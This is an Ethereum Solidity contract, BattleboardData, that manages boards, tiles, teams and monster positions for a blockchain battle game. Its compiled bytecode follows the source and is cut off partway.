function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) ;
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) ;
function isBattleboardLive(uint16 battleboardId) constant public returns (bool);
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) ;
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) ;
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) ;
function angelOnBattleboards(uint64 angelID) external constant returns (bool) ;
function getTurn(uint16 battleboardId) constant public returns (address) ;
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8);
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) ;
function getTotalBattleboards() public constant returns (uint16) ;
}
contract BattleboardData is IBattleboardData {
/*** DATA TYPES ***/
//Most main pieces on the board are tiles.
struct Tile {
uint8 tileType;
uint8 value; //speed for angels, otherwise value of other types.
uint8 id;
uint8 position;
uint32 hp;
uint16 petPower;
uint8 team; //which team they are on.
uint64 angelId;
uint64 petId;
bool isLive;
address owner;
}
struct Battleboard {
uint8 turn; //turn number - turn 0 is the first player who enters the board.
address[] players;
bool isLive;
uint prize;
uint16 id;
uint8 numTeams; //number of angel/pet teams on the board, different than TEAM1 vs TEAM2
uint8 numTiles;
uint8 createdBarriers;
uint8 restrictions; //number of which angels can be added.
uint lastMoveTime;
address[] team1;
address[] team2; //addresses of the owners of teams 1 and 2
uint8 numTeams1;
uint8 numTeams2;
uint8 monster1; //tile number of the monster locations.
uint8 monster2;
uint8 medalsBurned;
}
//main storage
Battleboard [] Battleboards;
uint16 public totalBattleboards;
uint8 maxFreeTeams = 6;
uint8 maxPaidTeams = 4;
//Each angel can only be on one board at a time.
mapping (uint64 => bool) angelsOnBattleboards;
//Map the battleboard ID to an array of all tiles on that board.
mapping (uint32 => Tile[]) TilesonBoard;
//for each battleboardId(uint16) there is a number with the tileId of the tile. TileId 0 means blank.
mapping (uint16 => uint8 [64]) positionsTiles;
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16) {
Battleboard memory battleboard;
battleboard.restrictions = restrictions;
battleboard.isLive = false; //will be live once ALL teams are added.
battleboard.prize = prize;
battleboard.id = totalBattleboards;
battleboard.numTeams = 0;
battleboard.lastMoveTime = now;
totalBattleboards += 1;
battleboard.numTiles = 0;
//set the monster positions
battleboard.monster1 = getRandomNumber(30,17,1);
battleboard.monster2 = getRandomNumber(48,31,2);
Battleboards.push(battleboard);
createNullTile(totalBattleboards-1);
return (totalBattleboards - 1);
}
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external{
if (monsterId == 1) {
Battleboards[battleboardId].monster1 = 0;
}
if (monsterId ==2) {
Battleboards[battleboardId].monster2 = 0;
}
}
function createNullTile(uint16 _battleboardId) private {
//We need to create a tile with ID 0 that won't be on the board. This lets us know if any other tile is ID 0 then that means it's a blank tile.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
Tile memory tile ;
tile.tileType = 0;
tile.id = 0;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
}
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8) {
//main function to create a tile and add it to the board.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
if ((angelsOnBattleboards[_angelId] == true) && (_angelId != 0)) {revert();}
angelsOnBattleboards[_angelId] = true;
Tile memory tile ;
tile.tileType = _tileType;
tile.value = _value;
tile.position= _position;
tile.hp = _hp;
Battleboards[_battleboardId].numTiles +=1;
tile.id = Battleboards[_battleboardId].numTiles;
positionsTiles[_battleboardId][_position+1] = tile.id;
tile.petPower = _petPower;
tile.angelId = _angelId;
tile.petId = _petId;
tile.owner = _owner;
tile.team = _team;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
return (Battleboards[_battleboardId].numTiles);
}
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].isLive= false;
TilesonBoard[battleboardId][tileId].tileType= 0;
for (uint i =0; i< Battleboards[battleboardId].team1.length; i++) {
if (Battleboards[battleboardId].team1[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams1 -= 1;
}
}
for (i =0; i< Battleboards[battleboardId].team2.length; i++) {
if (Battleboards[battleboardId].team2[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams2 -= 1;
}
}
}
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external {
//Can't add a team if the board is live, or if the board is already full of teams.
if (Battleboards[battleboardId].isLive == true) {revert();}
if ((Battleboards[battleboardId].prize == 0) &&(Battleboards[battleboardId].numTeams == maxFreeTeams)) {revert();}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {revert();}
//only one team per address can be on the board.
for (uint i =0; i<Battleboards[battleboardId].numTeams; i++) {
if (Battleboards[battleboardId].players[i] == owner) {revert();}
}
Battleboards[battleboardId].numTeams += 1;
Battleboards[battleboardId].players.push(owner);
if (team == 1) {
Battleboards[battleboardId].numTeams1 += 1;
Battleboards[battleboardId].team1.push(owner);
}
if (team == 2) {
Battleboards[battleboardId].numTeams2 += 1;
Battleboards[battleboardId].team2.push(owner);
//if the board is now full, then go ahead and make it live.
if ((Battleboards[battleboardId].numTeams1 == 3) && (Battleboards[battleboardId].numTeams2 ==3)) {Battleboards[battleboardId].isLive = true;}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {Battleboards[battleboardId].isLive = true;}
}
}
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public {
uint8 oldPos = TilesonBoard[battleboardId][tileId].position;
positionsTiles[battleboardId][oldPos+1] = 0;
TilesonBoard[battleboardId][tileId].position = _positionTo;
positionsTiles[battleboardId][_positionTo+1] = tileId;
}
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].hp = _hp;
}
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].medalsBurned += 1;
}
function withdrawEther() onlyCREATOR external {
//shouldn't have any eth here but just in case.
creatorAddress.transfer(this.balance);
}
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].lastMoveTime = now;
}
function iterateTurn(uint16 battleboardId) onlySERAPHIM external {
if (Battleboards[battleboardId].turn == (Battleboards[battleboardId].players.length-1)) {
Battleboards[battleboardId].turn = 0;
}
else {Battleboards[battleboardId].turn += 1;}
}
function killBoard(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].isLive = false;
clearAngelsFromBoard(battleboardId);
}
function clearAngelsFromBoard(uint16 battleboardId) private {
//Free up angels to be used on other boards.
for (uint i = 0; i < Battleboards[battleboardId].numTiles; i++) {
if (TilesonBoard[battleboardId][i].angelId != 0) {
angelsOnBattleboards[TilesonBoard[battleboardId][i].angelId] = false;
}
}
}
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) {
return TilesonBoard[battleboardId][tileId].hp;
}
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) {
return Battleboards[battleboardId].medalsBurned;
}
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) {
return TilesonBoard[battleboardId][tileId].team;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
function getMaxFreeTeams() constant public returns (uint8) {
return maxFreeTeams;
}
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) {
return Battleboards[battleboardId].createdBarriers;
}
// Call to get the specified tile at a certain position of a certain board.
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Battleboard memory battleboard = Battleboards[battleboardId];
Tile memory tile;
if ((tileId <0) || (tileId> battleboard.numTiles)) {revert();}
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
owner = tile.owner;
isLive = tile.isLive;
}
//Each player (address) can only have one tile on each board.
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) {
for (uint8 i = 0; i < Battleboards[battleboardId].numTiles+1; i++) {
if (TilesonBoard[battleboardId][i].owner == _owner) {
return TilesonBoard[battleboardId][i].id;
}
}
return 0;
}
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) {
return TilesonBoard[battleboardId][tileId].petId;
}
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address) {
if (team == 0) {return Battleboards[battleboardId].players[ownerNumber];}
if (team == 1) {return Battleboards[battleboardId].team1[ownerNumber];}
if (team == 2) {return Battleboards[battleboardId].team2[ownerNumber];}
}
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) {
return positionsTiles[battleboardId][position+1];
}
//If tile is empty, this returns 0
// Call to get the specified tile at a certain position of a certain board.
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Tile memory tile;
uint8 tileId = positionsTiles[battleboardId][_position+1];
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
isLive = tile.isLive;
}
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) {
Battleboard memory battleboard = Battleboards[id];
turn = battleboard.turn;
isLive = battleboard.isLive;
prize = battleboard.prize;
numTeams = battleboard.numTeams;
numTiles = battleboard.numTiles;
createdBarriers = battleboard.createdBarriers;
restrictions = battleboard.restrictions;
lastMoveTime = battleboard.lastMoveTime;
numTeams1 = battleboard.numTeams1;
numTeams2 = battleboard.numTeams2;
monster1 = battleboard.monster1;
monster2 = battleboard.monster2;
}
function isBattleboardLive(uint16 battleboardId) constant public returns (bool) {
return Battleboards[battleboardId].isLive;
}
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) {
return TilesonBoard[battleboardId][tileId].isLive;
}
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) {
return Battleboards[battleboardId].lastMoveTime;
}
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) {
return Battleboards[_battleboardId].numTiles;
}
//each angel can only be on ONE sponsored battleboard at a time.
function angelOnBattleboards(uint64 angelID) external constant returns (bool) {
return angelsOnBattleboards[angelID];
}
function getTurn(uint16 battleboardId) constant public returns (address) {
return Battleboards[battleboardId].players[Battleboards[battleboardId].turn];
}
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8) {
if (team == 1) {return Battleboards[battleboardId].numTeams1;}
if (team == 2) {return Battleboards[battleboardId].numTeams2;}
}
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) {
monster1 = Battleboards[BattleboardId].monster1;
monster2 = Battleboards[BattleboardId].monster2;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
/// Read access
}
function getTotalBattleboards() public constant returns (uint16) {
return totalBattleboards;
}
} | 0x606060405260043610610203576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265d7001461020857806311c1ddd91461031257806318d30bfa146103395780632ef0a28d146103605780633c816217146103b15780633d561f73146103d857806345e261051461049a5780634b2f249a146104bf578063621612351461050a5780636390f51914610576578063653a8f14146105c35780636b6cc239146106045780636eae0843146106315780637123691e1461067e5780637362377b146106b757806376b1514f146106cc57806377d99ef5146106fb57806381e7a97e146107465780638841937a146107795780638957f8bf146107bb57806389b2df31146107f65780638a2ae2ab1461085d5780638b93509f146108905780638e894a6f146108e25780639b8f5d4a146109425780639e776ff5146109815780639e79800d146109b2578063a21eef9514610a31578063a4d28b6214610a72578063a921ba7d14610ab3578063adc38b2f14610ae4578063afcd565c14610b0b578063b3ab715e14610bdd578063b6282d0d14610c2a578063bbc878c414610c6f578063d356a28b14610ca0578063e305c21014610cd9578063e927fc5c14610db4578063f345d06b14610e09578063fa70466e14610e5c578063fa712f7114610eaa578063ff069b4c14610ee9575b600080fd5b341561021357600080fd5b610239600480803561ffff1690602001909190803560ff16906020019091905050610f44565b604051808b60ff1660ff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018763ffffffff1663ffffffff1681526020018661ffff1661ffff1681526020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff168152602001831515151581526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019a505050505050505050505060405180910390f35b341561031d57600080fd5b610337600480803561ffff16906020019091905050611557565b005b341561034457600080fd5b61035e600480803561ffff16906020019091905050611609565b005b341561036b57600080fd5b610397600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611694565b604051808215151515815260200191505060405180910390f35b34156103bc57600080fd5b6103d6600480803561ffff169060200190919050506116b4565b005b34156103e357600080fd5b6103fd600480803561ffff1690602001909190505061175c565b604051808d60ff1660ff1681526020018c1515151581526020018b81526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1660ff1681526020019c5050505050505050505050505060405180910390f35b34156104a557600080fd5b6104bd60048080351515906020019091905050611b2b565b005b34156104ca57600080fd5b6104f0600480803561ffff1690602001909190803560ff16906020019091905050611ba3565b604051808215151515815260200191505060405180910390f35b341561051557600080fd5b61055a600480803561ffff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bf9565b604051808260ff1660ff16815260200191505060405180910390f35b341561058157600080fd5b6105a7600480803561ffff1690602001909190803560ff16906020019091905050611c46565b604051808260ff1660ff16815260200191505060405180910390f35b34156105ce57600080fd5b6105e8600480803561ffff16906020019091905050611cd9565b604051808260ff1660ff16815260200191505060405180910390f35b341561060f57600080fd5b610617611d14565b604051808215151515815260200191505060405180910390f35b341561063c57600080fd5b610662600480803561ffff1690602001909190803560ff16906020019091905050611d27565b604051808260ff1660ff16815260200191505060405180910390f35b341561068957600080fd5b6106b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d7d565b005b34156106c257600080fd5b6106ca611ebe565b005b34156106d757600080fd5b6106df611f93565b604051808260ff1660ff16815260200191505060405180910390f35b341561070657600080fd5b610728600480803590602001909190803560ff16906020019091905050611faa565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561075157600080fd5b610777600480803561ffff1690602001909190803560ff1690602001909190505061236e565b005b341561078457600080fd5b6107b9600480803561ffff1690602001909190803560ff1690602001909190803563ffffffff16906020019091905050612467565b005b34156107c657600080fd5b6107e0600480803561ffff16906020019091905050612528565b6040518082815260200191505060405180910390f35b341561080157600080fd5b61081b600480803561ffff16906020019091905050612556565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561086857600080fd5b61088e600480803561ffff1690602001909190803560ff169060200190919050506125f0565b005b341561089b57600080fd5b6108e0600480803561ffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050612a05565b005b34156108ed57600080fd5b610926600480803561ffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506130a8565b604051808260ff1660ff16815260200191505060405180910390f35b341561094d57600080fd5b61097f600480803561ffff1690602001909190803560ff1690602001909190803560ff169060200190919050506131f0565b005b341561098c57600080fd5b61099461339b565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156109bd57600080fd5b6109ef600480803561ffff1690602001909190803560ff1690602001909190803560ff169060200190919050506133b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a3c57600080fd5b610a56600480803561ffff16906020019091905050613515565b604051808260ff1660ff16815260200191505060405180910390f35b3415610a7d57600080fd5b610a97600480803561ffff16906020019091905050613550565b604051808260ff1660ff16815260200191505060405180910390f35b3415610abe57600080fd5b610ac661358b565b604051808261ffff1661ffff16815260200191505060405180910390f35b3415610aef57600080fd5b610b09600480803561ffff1690602001909190505061359f565b005b3415610b1657600080fd5b610bc1600480803561ffff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803563ffffffff1690602001909190803561ffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff169060200190919050506136fb565b604051808260ff1660ff16815260200191505060405180910390f35b3415610be857600080fd5b610c0e600480803561ffff1690602001909190803560ff16906020019091905050613c5d565b604051808260ff1660ff16815260200191505060405180910390f35b3415610c3557600080fd5b610c55600480803567ffffffffffffffff16906020019091905050613cab565b604051808215151515815260200191505060405180910390f35b3415610c7a57600080fd5b610c82613ce9565b604051808261ffff1661ffff16815260200191505060405180910390f35b3415610cab57600080fd5b610cd7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613cfd565b005b3415610ce457600080fd5b610d0a600480803561ffff1690602001909190803560ff16906020019091905050613e3d565b604051808a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff16815260200182151515158152602001995050505050505050505060405180910390f35b3415610dbf57600080fd5b610dc7614118565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610e1457600080fd5b610e3a600480803561ffff1690602001909190803560ff1690602001909190505061413d565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3415610e6757600080fd5b610e81600480803561ffff16906020019091905050614196565b604051808360ff1660ff1681526020018260ff1660ff1681526020019250505060405180910390f35b3415610eb557600080fd5b610ecf600480803561ffff16906020019091905050614206565b604051808215151515815260200191505060405180910390f35b3415610ef457600080fd5b610f1a600480803561ffff1690602001909190803560ff16906020019091905050614241565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b600080600080600080600080600080610f5b61465b565b610f63614716565b60008e61ffff161080610f8d5750600460009054906101000a900461ffff1661ffff168e61ffff16115b15610f9757600080fd5b60038e61ffff16815481101515610faa57fe5b906000526020600020906009020161022060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820180548060200260200160405190810160405280929190818152602001828054801561106757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161101d575b505050505081526020016002820160009054906101000a900460ff16151515158152602001600382015481526020016004820160009054906101000a900461ffff1661ffff1661ffff1681526020016004820160029054906101000a900460ff1660ff1660ff1681526020016004820160039054906101000a900460ff1660ff1660ff1681526020016004820160049054906101000a900460ff1660ff1660ff1681526020016004820160059054906101000a900460ff1660ff1660ff16815260200160058201548152602001600682018054806020026020016040519081016040528092919081815260200182805480156111b857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161116e575b505050505081526020016007820180548060200260200160405190810160405280929190818152602001828054801561124657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111fc575b505050505081526020016008820160009054906101000a900460ff1660ff1660ff1681526020016008820160019054906101000a900460ff1660ff1660ff1681526020016008820160029054906101000a900460ff1660ff1660ff1681526020016008820160039054906101000a900460ff1660ff1660ff1681526020016008820160049054906101000a900460ff1660ff1660ff1681525050915060008d60ff1610806112fd57508160c0015160ff168d60ff16115b1561130757600080fd5b600660008f61ffff1663ffffffff1681526020019081526020016000208d60ff1681548110151561133457fe5b906000526020600020906002020161016060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff1681526020016000820160049054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160089054906101000a900461ffff1661ffff1661ffff16815260200160008201600a9054906101000a900460ff1660ff1660ff16815260200160008201600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160139054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601b9054906101000a900460ff161515151581526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050905080600001519b5080602001519a508060400151995080606001519850806080015197508060a0015196508060e00151955080610100015194508061014001519250806101200151935050509295989b9194979a5092959850565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156115b657600080fd5b600160038261ffff168154811015156115cb57fe5b906000526020600020906009020160080160048282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561166857600080fd5b4260038261ffff1681548110151561167c57fe5b90600052602060002090600902016005018190555050565b60016020528060005260406000206000915054906101000a900460ff1681565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561171357600080fd5b600060038261ffff1681548110151561172857fe5b906000526020600020906009020160020160006101000a81548160ff0219169083151502179055506117598161429e565b50565b60008060008060008060008060008060008061177661465b565b60038e61ffff1681548110151561178957fe5b906000526020600020906009020161022060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820180548060200260200160405190810160405280929190818152602001828054801561184657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116117fc575b505050505081526020016002820160009054906101000a900460ff16151515158152602001600382015481526020016004820160009054906101000a900461ffff1661ffff1661ffff1681526020016004820160029054906101000a900460ff1660ff1660ff1681526020016004820160039054906101000a900460ff1660ff1660ff1681526020016004820160049054906101000a900460ff1660ff1660ff1681526020016004820160059054906101000a900460ff1660ff1660ff168152602001600582015481526020016006820180548060200260200160405190810160405280929190818152602001828054801561199757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161194d575b5050505050815260200160078201805480602002602001604051908101604052809291908181526020018280548015611a2557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116119db575b505050505081526020016008820160009054906101000a900460ff1660ff1660ff1681526020016008820160019054906101000a900460ff1660ff1660ff1681526020016008820160029054906101000a900460ff1660ff1660ff1681526020016008820160039054906101000a900460ff1660ff1660ff1681526020016008820160049054906101000a900460ff1660ff1660ff1681525050905080600001519c5080604001519b5080606001519a508060a0015199508060c0015198508060e001519750806101000151965080610120015195508061018001519450806101a001519350806101c001519250806101e0015191505091939597999b5091939597999b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8657600080fd5b80600260006101000a81548160ff02191690831515021790555050565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff16815481101515611bd257fe5b9060005260206000209060020201600001601b9054906101000a900460ff16905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff166001430340600190040190508360ff1660018560ff1687030161ffff1682811515611c3a57fe5b06019150509392505050565b600060018260ff161415611c8d5760038361ffff16815481101515611c6757fe5b906000526020600020906009020160080160009054906101000a900460ff169050611cd3565b60028260ff161415611cd25760038361ffff16815481101515611cac57fe5b906000526020600020906009020160080160019054906101000a900460ff169050611cd3565b5b92915050565b600060038261ffff16815481101515611cee57fe5b906000526020600020906009020160040160039054906101000a900460ff169050919050565b600260009054906101000a900460ff1681565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff16815481101515611d5657fe5b9060005260206000209060020201600001600a9054906101000a900460ff16905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd857600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611ebb576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f1957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611f9157600080fd5b565b6000600460029054906101000a900460ff16905090565b6000611fb461465b565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561201357600080fd5b8281610100019060ff16908160ff1681525050600081604001901515908115158152505083816060018181525050600460009054906101000a900461ffff16816080019061ffff16908161ffff168152505060008160a0019060ff16908160ff168152505042816101200181815250506001600460008282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff16021790555060008160c0019060ff16908160ff16815250506120d5601e60116001611bf9565b816101c0019060ff16908160ff16815250506120f56030601f6002611bf9565b816101e0019060ff16908160ff16815250506003805480600101828161211b91906147b6565b9160005260206000209060090201600083909190915060008201518160000160006101000a81548160ff021916908360ff160217905550602082015181600101908051906020019061216e9291906147e8565b5060408201518160020160006101000a81548160ff0219169083151502179055506060820151816003015560808201518160040160006101000a81548161ffff021916908361ffff16021790555060a08201518160040160026101000a81548160ff021916908360ff16021790555060c08201518160040160036101000a81548160ff021916908360ff16021790555060e08201518160040160046101000a81548160ff021916908360ff1602179055506101008201518160040160056101000a81548160ff021916908360ff16021790555061012082015181600501556101408201518160060190805190602001906122699291906147e8565b506101608201518160070190805190602001906122879291906147e8565b506101808201518160080160006101000a81548160ff021916908360ff1602179055506101a08201518160080160016101000a81548160ff021916908360ff1602179055506101c08201518160080160026101000a81548160ff021916908360ff1602179055506101e08201518160080160036101000a81548160ff021916908360ff1602179055506102008201518160080160046101000a81548160ff021916908360ff1602179055505050506123516001600460009054906101000a900461ffff16036143e4565b6001600460009054906101000a900461ffff160391505092915050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156123cd57600080fd5b60018160ff16141561241857600060038361ffff168154811015156123ee57fe5b906000526020600020906009020160080160026101000a81548160ff021916908360ff1602179055505b60028160ff16141561246357600060038361ffff1681548110151561243957fe5b906000526020600020906009020160080160036101000a81548160ff021916908360ff1602179055505b5050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156124c657600080fd5b80600660008561ffff1663ffffffff1681526020019081526020016000208360ff168154811015156124f457fe5b906000526020600020906002020160000160046101000a81548163ffffffff021916908363ffffffff160217905550505050565b600060038261ffff1681548110151561253d57fe5b9060005260206000209060090201600501549050919050565b600060038261ffff1681548110151561256b57fe5b906000526020600020906009020160010160038361ffff1681548110151561258f57fe5b906000526020600020906009020160000160009054906101000a900460ff1660ff168154811015156125bd57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff